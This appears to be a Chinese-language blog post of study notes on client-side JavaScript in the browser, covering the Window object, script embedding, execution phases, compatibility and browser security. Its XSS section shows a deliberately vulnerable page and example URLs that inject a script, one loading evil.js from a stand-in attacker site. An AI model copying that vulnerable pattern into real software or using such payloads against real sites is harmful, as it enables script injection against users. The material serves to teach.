13. Web浏览器中的JavaScript

161 阅读15分钟

Web浏览器中的JavaScript通常称为客户端JavaScript。

Web浏览器中是如何呈现Web页面的。一些呈现静态信息的页面,叫做文档(document)(由于加入了JavaScript,静态页面的信息看上去会动来动去,但信息本身是静态的),相对于文档来说,其他Web页面则感觉上更像是应用。

1.客户端JavaScript

  • Window对象是所有客户端JavaScript特性和API的主要接入点。
//设置location属性,从而跳转到新的Web页面
window.location = "http://www.oreilly.com/";
//等待两秒,然后说hello
setTimeout(function(){alert("hello world");},2000);
  • Window对象处于作用域链的顶部,它的属性和方法实际上是全局变量和全局函数。
  • Window对象中其中一个最重要的属性是document,它引用Document对象,后者表示显示在窗口中的文档。
//查找id="timestamp"的元素
var timestamp = document.getElementById("timestamp");
//如果元素为空,往里面插入当前的日期和时间
if (timestamp.firstChild == null)
  timestamp.appendChild(document.createTextNode(new Date().toString()));
  • 每个Element对象都有styleclassName属性,允许脚本指定文档元素的CSS样式,或修改应用到元素上的CSS类名。
//显式修改目标元素的呈现
timestamp.style.backgroundColor = "yellow"; 
//或者只改变类,让样式表指定具体内容
timestamp.className = "highlight";

Window、Document和Element对象上另一个重要的属性集合是事件处理程序相关的属性。

  • 事件处理程序的属性名是以单词"on"开始的
//当用户单击timestamp元素时,更新它的内容
timestamp.onclick = function() {
  this.innerHTML = new Date().toString();
};
  • Window对象的onload处理程序,当显示在窗口中的文档内容稳定并可以操作时会触发它。
<!DOCTYPE html>
<html>
  <head>
    <style>
      /*本页的css样式表*/
      .revealed {
        display: none;
      } /*class="revealed"的元素的子元素都不显示*/
      .reveal .handle {
        display: block;
      } 
    </style>
    <script>
      console.log(document.readyState); // loading
      //所有的页面逻辑在onload事件之后启动
      window.onload = function() {
        console.log(document.readyState); // complete
        //找到所有class名为"reveal"的容器元素
        var elements = document.getElementsByClassName("parent");
        for (var i = 0; i < elements.length; i++) {
          //对每个元素进行遍历
          var elt = elements[i];
          //找到容器中的"handle"元素
          var handle = elt.getElementsByClassName("handle")[0];
          var p = elt.getElementsByTagName("p")[0];
          //当单击这个元素时,呈现剩下的内容
          addRevealHandler(handle, p);
        }
        function addRevealHandler(handle, p) {
          handle.onclick = function() {
            if (p.className == "reveal") p.className = "revealed";
            else if (p.className == "revealed") p.className = "reveal";
          };
        }
      };
    </script>
  </head>
  <body>
    <div class="parent">
      <h1 class="handle">Click Here to Reveal Hidden Text</h1>
      <p class="revealed">
        This paragraph is hidden.It appears when you click on the handle.
      </p>
    </div>
  </body>
</html>

1.1 Web文档中的JavaScript

JavaScript程序可以通过Document对象和它包含的Element对象遍历和管理文档内容。

  • 它可以通过操纵CSS样式和类,修改文档内容的呈现。
  • 并且可以通过注册适当的事件处理程序来定义文档元素的行为。 内容、呈现和行为的组合,叫做动态HTML或DHTM

1.2 Web应用中的JavaScript

要真正理解Web应用,需要先认识到Web浏览器已经不仅仅是作为显示文档的工具的角色了,而渐渐变成了一个简易的操作系统。

  • Web浏览器允许在工具栏和文件夹里组织书签(表示文档和Web应用)
  • Web浏览器可以在一个标签里显示多个文档
  • Web浏览器也定义底层网络API、保存数据和绘制图像

可以把Web应用定义为用JavaScript访问更多浏览器提供的高级服务(比如网络、图像和数据存储)的Web页面。

高级服务里最有名的是XMLHttpRequest对象,后者可以对HTTP请求编程来启用网络。Web应用使用这个服务从服务器获取新信息,而不用重新载入页面。类似这样的Web应用通常叫做Ajax应用,Ajax构成了"Web 2.0"的脊梁。

2 在HTML里嵌入JavaScript

在HTML文档里嵌入客户端JavaScript代码有4种方法:

  • 内联,放置在<script>和</script>标签对之间。
  • 放置在由<script>标签的src属性指定的外部文件中。
  • 放置在HTML事件处理程序中,该事件处理程序由onclick或onmouseover这样的HTML属性值指定。
  • 放在一个URL里,这个URL使用特殊的"javascript:"协议。 值得注意的是,HTML事件处理程序属性和javascript:URL这两种方式在现代JavaScript代码里已经很少使用,JavaScript最好通过<script>元素的src属性来嵌入HTML文档里

2.1 <script>元素

JavaScript代码可以以内联的形式出现在HTML文件里的<script>和</script>标签之间

<!DOCTYPE html>
<!--这是一个HTML5文件-->
<html>
  <!--根节点-->
  <head>
    <!--标题、脚本和样式都放在这里-->
    <title>Digital Clock</title>
    <script>
      //js代码
      //定义一个函数用以显示当前时间
      function displayTime() {
        var elt = document.getElementById("clock"); //通过id="clock"找到元素
        var now = new Date(); //得到当前时间
        elt.innerHTML = now.toLocaleTimeString(); //让elt来显示它
        setTimeout(displayTime, 1000); //在1秒后再次执行
      }
      window.onload = displayTime; //当onload事件发生时开始显示时间
    </script>
    <style>
      /*钟表的样式*/
      #clock {
        /*定义id="clock"的元素的样式*/
        font: bold 24pt sans; /*使用粗体大号字*/
        background: #ddf; /*定义蓝灰色背景*/
        padding: 10px; /*周围有一圈空白*/
        border: solid black 2px; /*定义纯黑色边框*/
        border-radius: 10px; /*定义圆角(如果浏览器支持的话)*/
      }
    </style>
  </head>

  <body>
    <!--body部分是用来显示文档的-->
    <h1>Digital Clock</h1>
    <!--显示标题-->
    <span id="clock"></span> 
    <!--输出时钟-->
  </body>
</html>

image.png

2.2 外部文件中的Javascript脚本

<script>标签支持src属性,这个属性指定包含JavaScript代码的文件的URL。

<script src="../../scripts/util.js"></script>

JavaScript文件的扩展名通常是以.js结尾的。它包含纯粹的JavaScript代码,其中既没有<script>标签,也没有其他HTML标签。

具有src属性的<script>标签的行为就像指定的JavaScript文件的内容直接出现在标签<script>和</script>之间一样。

使用src属性时,<script>和</script>标签之间的任何内容都会忽略。

2.3 Javascript脚本类型

JavaScript是Web的原始脚本语言

type属性的默认值是"text/javascript"。

当Web浏览器遇到<script>元素,并且这个<script>元素包含其值不被浏览器识别的type属性时,它会解析这个元素但不会尝试显示或执行它的内容。

2.4 HTML中的事件处理程序

当脚本所在的HTML文件被载入浏览器时,这个脚本里的JavaScript代码只会执行一次。为了可交互,JavaScript程序必须定义事件处理程序——Web浏览器先注册JavaScript函数,并在之后调用它作为事件的响应(比如用户输入)

可以通过将JavaScript代码放置在HTML属性里来定义事件处理程序。

 <input
      type="checkbox"
      name="options"
      value="giftwrap"
      onchange="alert('复选框状态改变')"
    />

image.png

HTML中定义的事件处理程序的属性可以包含任意条JavaScript语句,相互之间用逗号分隔。这些语句组成一个函数体,然后这个函数成为对应事件处理程序属性的值。

但是,通常HTML事件处理程序的属性由类似上面的简单赋值或定义在其他地方的简单函数调用组成

2.5 URL中的Javascript

在URL后面跟一个javascript:协议限定符,是另一种嵌入JavaScript代码到客户端的方式。这种特殊的协议类型指定URL内容为任意字符串,这个字符串是会被JavaScript解释器运行的JavaScript代码。

javascript:URL能识别的“资源”是转换成字符串的执行代码的返回值。如果代码返回undefined,那么这个资源是没有内容的。

javascript:URL可以用在可以使用常规URL的任意地方:比如<a>标记的href属性,<form>的action属性,甚至window.open()方法的参数。

    <!--跳转,新页面显示时间 -->
    <a href="javascript:new Date().toLocaleTimeString();">
      What time is it?
    </a>
    <!--不跳转,原页面弹框显示时间 -->
    <a href="javascript:alert(new Date().toLocaleTimeString());">
      检查时间,而不必覆盖整个文档
    </a>

image.png

image.png

如果要确保javascript:URL不会覆盖当前文档,可以用void操作符强制函数调用或给表达式赋予undefined值:

<!--不覆盖原文档-->
<a href="javascript:void window.open('about:blank');">打开一个窗口</a>

下面<a>标签里的javascript:URL。单击链接会打开一个简单的JavaScript表达式计算器,它允许在页面环境中计算表达式和执行语句:

     <a
      href='javascript:
      var e="",r="";/*需要计算的表达式和结果*/
      do{/*输出表达式和结果,并要求输入新的表达式*/
        e=prompt("Expression:"+e+"\n"+r+"\n",e);
      try{r="Result:"+eval(e);}/*尝试计算这个表达式*/
         catch(ex){r=ex;}/*否则记住这个错误*/
      }while(e);/*直到没有输入表达式或者单击了Cancel按钮才会停止,否则一直循环执行*/
      void 0;/*这句代码用以防止当前文档被覆盖*/'
    >
      JavaScript Evaluator
    </a>

image.png

3. Javascript程序的执行

我们可以说JavaScript程序是由Web页面中所包含的所有JavaScript代码(内联脚本、HTML事件处理程序和javascript:URL)和通过<script>标签的src属性引用的外部JavaScript代码组成。

如果Web页面包含一个嵌入的窗体(通常使用<iframe>元素),嵌入文档中的JavaScript代码和被嵌入文档里的JavaScript代码会有不同的全局对象,它可以当做一个单独的JavaScript程序。

JavaScript程序的执行有两个阶段。

  • 在第一阶段,载入文档内容,并执行<script>元素里的代码(包括内联脚本和外部脚本)
  • 当文档载入完成,并且所有脚本执行完成后,JavaScript执行就进入它的第二阶段。这个阶段是异步的,而且由事件驱动的。

JavaScript程序的载入阶段是相对短暂的,通常只持续1~2秒。在文档载入完成之后,只要Web浏览器显示文档,事件驱动阶段就会一直持续下去。

核心JavaScript和客户端JavaScript都有一个单线程执行模型。脚本和事件处理程序(无论如何)在同一个时间只能执行一个,没有并发性。

3.1 同步、异步和延迟的Javascript脚本

载入时生成文档内容

<!DOCTYPE html>
<html>
  <head>
    <title>Write</title>
    <script>
      function factorial(n) {
        //用来计算阶乘的函数
        if (n <= 1) return n;
        else return n * factorial(n - 1);
      }
      document.write("<table>"); //开始创建HTML表
      document.write("<tr><th>n</th><th>n!</th></tr>"); //输出表头
      for (var i = 1; i <= 10; i++) {
        //输出10行
        document.write(
          "<tr><td>" + i + "</td><td>" + factorial(i) + "</td></tr>"
        );
      }
      document.write("</table>"); //表格结束
      document.write("Generated at" + new Date()); //输出时间戳
    </script>
  </head>
  <body></body>
</html>

image.png

当脚本把文本传递给document.write()时,这个文本被添加到文档输入流中,HTML解析器会在当前位置创建一个文本节点,将文本插入这个文本节点后面。

当HTML解析器遇到<script>元素时,它默认必须先执行脚本,然后再恢复文档的解析和渲染如果脚本源代码是一个由src属性指定的外部文件,这意味着脚本后面的文档部分在下载和执行脚本之前,都不会出现在浏览器中

通过动态创建<script>元素并把它插入到文档中,来实现脚本的异步载入和执行。

      //异步载入并执行一个指定URL中的脚本
      function loadasync(url) {
        var head = document.getElementsByTagName("head")[0]; //找到<head>元素 var
        s = document.createElement("script"); //创建一个<script>元素
        s.src = url; //设置其src属性 head.appendChild(s);//将script元素插入head标签中
      }

注意这个loadasync()函数会动态地载入脚本——脚本载入到文档中,成为正在执行的JavaScript程序的一部分,既不是通过Web页面内联包含,也不是来自Web页面的静态引用。

3.2 事件驱动的Javascript

我们通过注册事件处理程序函数来写程序。之后在注册的事件发生时异步调用这些函数。

  • 事件都有名字,比如click、change、load、mouseover、keypress或readystatechange,指示发生的事件的通用类型。
  • 事件还有目标,它是一个对象,并且事件就是在它上面发生的。当我们谈论事件的时候,必须同时指定事件类型(名字)和目标
  • 如果想要程序响应一个事件,写一个函数,叫做“事件处理程序”、“事件监听器”或“回调”。然后注册这个函数,这样他就会在事件发生时调用它。

注册事件处理程序最简单的方法是把JavaScript函数赋值给目标对象的属性

      window.onload = function() {};
      document.getElementById("button1").onclick = function() {};
      function handleResponse() {}
      request.onreadystatechange = handleResponse;
  • 按照约定,事件处理程序的属性的名字是以"on"开始,后面跟着事件的名字。浏览器会在事件发生时执行调用
  • 对于大部分浏览器中的大部分事件来说,会把一个对象(event)传递给事件处理程序作为参数,那个对象的属性提供了事件的详细信息。
  • 有些事件的目标是文档元素,它们会经常往上传递给文档树,这个过程叫做“冒泡”。
  • 大部分可以成为事件目标的对象都有一个叫做addEventListaner()的方法,允许注册多个监听器:
      window.addEventListener("load", function() {}, false);

      request.addEventListener("readystatechange", function() {}, false);

传递给setTimeout()的函数和真实事件处理程序的注册不同,它们通常叫做“回调逻辑”而不是“处理程序”,但它们和事件处理程序一样,也是异步的。

3.3 客户端Javascript线程

JavaScript语言核心并不包含任何线程机制,并且客户端JavaScript传统上也没有定义任何线程机制。HTML5定义了一种作为后台线程的"WebWorker",但是客户端JavaScript还像严格的单线程一样工作。

单线程执行意味着浏览器必须在脚本和事件句处理程序执行的时候停止响应用户输入。

HTML5定义了一种并发的控制方式,叫做"Web worker"。Web worker是一个用来执行计算密集任务而不冻结用户界面的后台线程。

3.4 客户端Javascript时间线

JavaScript程序从脚本执行阶段开始,然后切换到事件处理阶段。JavaScript程序执行的时间线

  1. Web浏览器创建Document对象,并且开始解析Web页面,解析HTML元素和它们的文本内容后添加Element对象和Text节点到文档中。在这个阶段document.readystate属性的值是"loading"。
  2. 当HTML解析器遇到没有async和defer属性的<script>元素时,它把这些元素添加到文档中,然后执行行内或外部脚本。这些脚本会同步执行,并且在脚本下载(如果需要)和执行时HTML解析器会暂停。这样脚本就可以用document.write()来把文本插入到输入流中。
  3. 当解析器遇到设置了async属性的<script>元素时,它开始下载脚本文本,并继续解析文档。脚本会在它下载完成后尽快执行,但是解析器没有停下来等它下载
  4. 文档已经完全解析完成,但是浏览器可能还在等待其他内容载入,如图片当所有这些内容完成载入时,并且所有异步脚本完成载入和执行,document.readyState属性改变为"complete",Web浏览器触发Window对象上的load事件

image.png

  1. 从此刻起,会调用异步事件,以异步响应用户输入事件、网络事件、计时器过期等

4.兼容性和互用性

Web浏览器是Web应用的操作系统,但是Web是一个存在各种差异性的环境,Web文档和应用会在不同操作系统(Windows、Mac OS、Linux、iPhone OS、Android)的不同开发商(Microsoft、Mozilla、Apple、Google、Opera)的不同时代的浏览器上查看和运行

  • 处理不兼容问题其中一种最简单的方法是使用类库。引入一个JavaScript代码文件叫做excanvas.js,然后IE就会看起来像它支持<canvas>元素一样。
  • 分级浏览器(graded browser support)是由Yahoo!率先提出的一种测试技术。从某种维度对浏览器厂商/版本/操作系统变体进行分级。
  • 功能测试。如果期望使用的功能还没有被当前的平台所支持,要么不在该平台中使用它,要么提供可在所有平台上运行的代码。
if (element.addEventListener) {
  //在使用这个W3C方法之前首先检测它是否可用
  element.addEventListener("keydown", handler, false);
  element.addEventListener("keypress", handler, false);
} else if (element.attachEvent) {
  //在使用该IE方法之前首先检测它
  element.attachEvent("onkeydown", handler);
  element.attachEvent("onkeypress", handler);
} else {
  //否则,选择普遍支持的技术
  element.onkeydown = element.onkeypress = handler;
}
  • 标准模式,通常检查document.compatMode属性。如果其值为"CSS1Compat",则说明浏览器工作在标准模式;如果值为"BackCompat"(或undefined,说明属性根本不存在),则说明浏览器工作在怪异模式。

image.png

  • 浏览器测试,在客户端JavaScript中检测浏览器类型和版本的方法就是使用Navigator对象,确定当前浏览器的厂商和版本的代码通常叫做浏览器嗅探器(browser sniffer)或者客户端嗅探器(client sniffer)
  • Internet Explorer里的条件注释
    <!--[if lt IE 9]>
    <script src="./js/html5shiv.js"></script>
    <![endif]-->

5. Javascript安全性

Web浏览器中包含JavaScript解释器,也就是说,一旦载入Web页面,就可以让任意的JavaScript代码在计算机里执行。这里存在着安全隐患,浏览器制作者不得不限制或禁用一些API

5.1 Javascript不能做什么

Web浏览器针对恶意代码的第一条防线就是它们不支持某些功能。例如,客户端JavaScript没有权限来写入或删除客户计算机上的任意文件或列出任意目录。这意味着JavaScript程序不能删除数据或植入病毒。

浏览器针对恶意代码的第二条防线是在自己支持的某些功能上施加限制,例如JavaScript程序可以关闭自己打开的浏览器窗口,但是不允许它不经过用户确认就关闭其他的窗口

5.2 同源策略

同源策略是对JavaScript代码能够操作哪些Web内容的一条完整的安全限制。

  • 当Web页面使用多个<iframe>元素或者打开其他浏览器窗口的时候,这一策略通常就会发挥作用。
  • 在这种情况下,同源策略负责管理窗口或窗体中的JavaScript代码以及和其他窗口或帧的交互。
  • 具体来说,脚本只能读取和所属文档来源相同的窗口和文档的属性 文档的来源包含协议、主机,以及载入文档的URL端口。从不同Web服务器载入的文档具有不同的来源。通过同一主机的不同端口载入的文档具有不同的来源。使用http:协议载入的文档和使用https:协议载入的文档具有不同的来源,即使它们来自同一个服务器。

同源策略还应用于使用XMLHttpRequest生成的HTTP请求。这个对象允许客户端JavaScript生成任意的HTTP请求到脚本所属文档的Web服务器,但是不允许脚本和其他Web服务器通信

5.3 跨站脚本

跨站脚本(Cross-site scripting),或者叫做XSS,这个术语用来表示一类安全问题,也就是攻击者向目标Web站点注入HTML标签或者脚本。

<!DOCTYPE html>
<html>
  <head>
    <script>
      var name = decodeURIComponent(window.location.search.substring(1)) || "";
      document.write("Hello " + name);
    </script>
  </head>
  <body></body>
</html>

这两行脚本使用window.location.search来获得它们自己的URL中以“?”开始的部分。它使用document.write()来向文档添加动态生成的内容。这个页面专门通过如下的一个URL来调用:

http://127.0.0.1:5500/src/views/Test/test.html?lxl

image.png

http://127.0.0.1:5500/src/views/Test/test.html?%3Cscript%3Ealert(%27David%27)%3C/script%3E

只用这个URL,脚本会动态地生成另一个脚本(%3C和%3E是一个尖括号的编码)

image.png

跨站脚本攻击,就是因为它涉及多个站点。站点B(或者站点C)包含一个专门构造的到站点A的链接(就像下面的那个),它会注入一个来自站点B的脚本。

http://127.0.0.1:5500/src/views/Test/test.html?%3Cscript%20src=siteB/evil.js%3E%3C/script%3E

5.4 拒绝服务攻击

使用一个alert()对话框的无限循环占用浏览器,或者用一个无限循环或没有意义的计算来占用CPU。